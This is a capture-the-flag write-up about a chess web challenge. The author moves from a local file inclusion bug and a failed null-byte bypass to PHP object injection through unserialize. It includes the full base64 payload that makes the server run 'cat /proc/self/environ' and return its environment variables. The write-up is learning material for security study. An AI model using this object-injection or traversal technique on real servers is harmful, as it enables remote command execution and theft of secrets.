Clicking on the next challenge, I was welcomed by a familiar sight - it’s the same matrix chess game from the first challlenge of the first episode!
I noticed that this time, however, there’s no “Master Login” button on the bottom of the page. Looking at the page’s HTML, not much has changed. The load_baseboard
Javascript function is still there. Let’s try to use it again to access the .php
files.
function load_baseboard() {
const url = "load_board.php"
let xhr = new XMLHttpRequest()
const formData = new FormData();
formData.append('filename', 'baseboard.fen')
xhr.open('POST', url, true)
xhr.send(formData);
window.location.href = "index.php";
}
I made a request to index.php
, load_board.php
and admin.php
. The latter responded with an error while the other two printed out their contents. So the local file inclusion issue is still there.
Using what I learnt from the second challenge of the previous episode, I immediately tried to access the environment variables of the process by querying ../../../proc/self/environ
but got a new error I didn’t see last time - unsupported board
. For sanity, accessing /etc/passwd
resulted in the same error.
Looking at load_board.php
, there’s a slight change to the logic -
Loading Fen: <?php
session_save_path('/mnt/disks/sessions');
session_start();
$fen = "";
if (isset($_POST['filename']) ) {
$allowed = array('fen', 'php', 'html');
$filename = $_POST['filename'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed)) {
die('unsupported board');
}
$fen = trim(file_get_contents($_POST['filename']));
# XXX: Debug remove this
echo 'Loading Fen: '. $fen;
}
else {
die("Invalid request!");
}
Looks like the filename parameter goes through a simple file extension check, and the file contents are printed only if the filename ends with .fen
, .php
and .html
. That’s why the general LFI did not work.
I wanted to see if anything drastic had changed in index.php
, so I put the new one and the old one in a simple text compare software -
- The name of the page had
v2
added to it. - An echo that prints the values set in the
admin.php
page was removed in the newer version. - The winning scenario echo call was changed from
"<h1>ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG')
to"<h1>Winning against me won't help anymore. You need to get the flag from my envs."
- The “Master Login” link was removed.
Well, it’s pretty clear that the challenge no longer expects me to simply win against the AI - there’s no admin panel, no way to disable the cheats, and now that it won’t even print out the flag environment variable, so what’s the point in winning?
I rather need to somehow directly access the server’s environment variables, probably through /proc/self/environ
. But how?
First, I tried overcoming the LFI limitation - reading the documentation on pathinfo
and file_get_contents
did not bring up anything promising.
However, I tried messing around with adding a null byte to the filename passed as a paramter, something like ../../proc/self/environ\x00.php
I hoped would work, since pathinfo
may ignore the null-byte and take php
as the extension, while read_file_content
may stop at the null-byte, and read the path as ../../proc/self/environ
.
I had some difficulty passing that null-byte to the server. Finally, using curl
and passing load_board.php\x00.php
(as a sanity-check), successfully printed out the content of load_board.php
. A sign that read_file_content
really stopped at the null byte.
However, pathinfo
seemed to also stop at the null-byte, as the endpoint printed out unsupported_board
for inputs like ../../../etc/passwd\x00.php
. Unfortunate.
Giving up on the extension check bypass direction, I was looking for other areas to exploit.
One thing that stood out to me last time I looked at the index.php
code is the code handling the move_end
paramter from the user.
If you recall, during the first exercise I found that this parameter is a simple serialized PHP array encoded using base64. Back then, I tried changing values in it array to cheat by doing illegal moves.
After reading the source code, it turned out it makes well-made validation on the valid moves and blocks this direction.
// ...
elseif (isset($_GET['move_end'])) {
$movei = unserialize(base64_decode($_GET['move_end']));
if ($chess->turn == "b") {
#XXX: this should never happen.
$chess = init_chess();
$_SESSION['board'] = serialize($chess);
die('Invalid Board state. Refresh the page');
}
echo "<!-- XXX : Debug remove this ".$movei. "-->";
// Validation code ...
Looking at the beginning of the validation code again reminded me I once hear that it’s always smart to be suspicious of an unserialization of unsanitized user input.
In PHP, the unserialize
function basically accepts and unserializes any object that is valid in the current context. A valid object can be one of the built-in objects (like strings or arrays), but can also be an instance of any class currently imported.
To test it out, I spun up my own php server - apt install php
and php -S localhost:8050
whips a simple server serving the local directory. I wrote a short code to serialize a simple string object and base64_encode
it.
<?php
print(base64_encode(serialize("test string object")));
?>
On accessing the page, it prints out the string czoxODoidGVzdCBzdHJpbmcgb2JqZWN0Ijs=
.
I tried passing this serialized string through the move_end
parameter - sending a GET request to https://hackerchess2-web.h4ck.ctfcompetition.com/index.php?move_end=czoxODoidGVzdCBzdHJpbmcgb2JqZWN0Ijs
.
Since the server echos $movei
(the result of the unserialize
call), I can inspect what happened, by searching for the specific echo in the server’s entire response:
<!-- ... -->
<div id="boardwrapper">
<!-- XXX : Debug remove this test string object--><table id="board">
<!-- ... -->
It works! The server luckily doesn’t really care for state or that the move is invalid when it prints out the unserialized object.
So, I needed to find a way to exploit this. The main objective with unsafe unserialization is a way to get arbitrary code execution.
In reality, exploiting unsafe unserialize
calls is pretty complicated - even with full view of the server-side code.
This is because a call to unserialize
does nothing except create the object instance in the server’s memory. So, the actual target must be to unserialize classes containing magic methods or some special implementation - so that something will be automatically called on the injected instance of the class, and hopefully affect enough things to allow for some control over the server’s state.
For magic functions, __destruct
is a good candidate, since it will be called when the injected unserialized object instance scope ends.
Luckily for me, there aren’t many targets here. There’s an imported Chess
class, there’s MyHtmlOutput
which extends the built-in HtmlOutput
class, and there’s the Stockfish
class.
A quick look at the latter makes it as the obvious target - the Stockfish
class has a $binary
member on which it calls proc_open
during __construct
, effectively executing whatever command is written in $binary
.
class Stockfish
{
public $cwd = "./";
public $binary = "/usr/games/stockfish";
public $other_options = array('bypass_shell' => 'true');
public $descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
);
private $process;
private $pipes;
private $thinking_time;
public function __construct()
{
$other_options = array('bypass_shell' => 'true');
//echo "Stockfish options" . $_SESSION['thinking_time'];
if (isset($_SESSION['thinking_time']) && is_numeric($_SESSION['thinking_time'])) {
$this->thinking_time = $_SESSION['thinking_time'];
} else {
$this->thinking_time = 10;
}
$this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
}
However, I’m not able to force a call to __construct
, as I can only unserialize an instance of Stockfish
. There’s also no __destruct
function.
Hmm, there’s an interesting __wakeup
function, however:
public function __wakeup()
{
$this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
echo '<!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'-->';
}
According to the docs, the magic function __wakeup
is called when an object is created via unserialize
, which is exactly the case I have!
The code itself easily enables arbitrary command execution - it calls proc_open
again on the binary
member.
Now the road ahead is clear - I simply need to pass a serialized Stockfish
object with the binary
member changed to whatever command I want to run. Since the constructed object is saved into $movei
and then printed out, the Stockfish
class __toString
function would be called:
public function __toString()
{
return fgets($this->pipes[1], 4096);
}
Looks like it simply prints out whatever was written to stdout
by the executed binary
. So, if I set the binary
member to any command, say cat /proc/self/environ
, its output should be reflected back to me!
Serialized objects in PHP are not too complicated in their format and can be usually constructed by hand, but I already have a PHP server running so it’s way simpler letting it serialize an object for me - first, copy-paste the exact definition of the Stockfish
class, so the object I create and serialize will exactly match the server’s.
Second, a short code that creates a new Stockfish
instance and changes its binary
member -
$stockf = new Stockfish();
$stockf->binary = 'cat /proc/self/environ';
print(base64_encode(serialize($stockf)));
Running the server with this new code and browsing to it, I got the string Tzo5OiJTdG9ja2Zpc2giOjc6e3M6MzoiY3dkIjtzOjI6Ii4vIjtzOjY6ImJpbmFyeSI7czoyMjoiY2F0IC9wcm9jL3NlbGYvZW52aXJvbiI7czoxMzoib3RoZXJfb3B0aW9ucyI7YToxOntzOjEyOiJieXBhc3Nfc2hlbGwiO3M6NDoidHJ1ZSI7fXM6MTQ6ImRlc2NyaXB0b3JzcGVjIjthOjI6e2k6MDthOjI6e2k6MDtzOjQ6InBpcGUiO2k6MTtzOjE6InIiO31pOjE7YToyOntpOjA7czo0OiJwaXBlIjtpOjE7czoxOiJ3Ijt9fXM6MTg6IgBTdG9ja2Zpc2gAcHJvY2VzcyI7aTowO3M6MTY6IgBTdG9ja2Zpc2gAcGlwZXMiO2E6Mjp7aTowO2k6MDtpOjE7aTowO31zOjI0OiIAU3RvY2tmaXNoAHRoaW5raW5nX3RpbWUiO2k6MTA7fQ==
.
I crossed my fingers and sent it this string as the move_end
parameter to index.php
. The server replied back with an HTML page ending ion the <!-- XXX : Debug remove this
string, immediately followed by the environ
file - which contained the flag! :)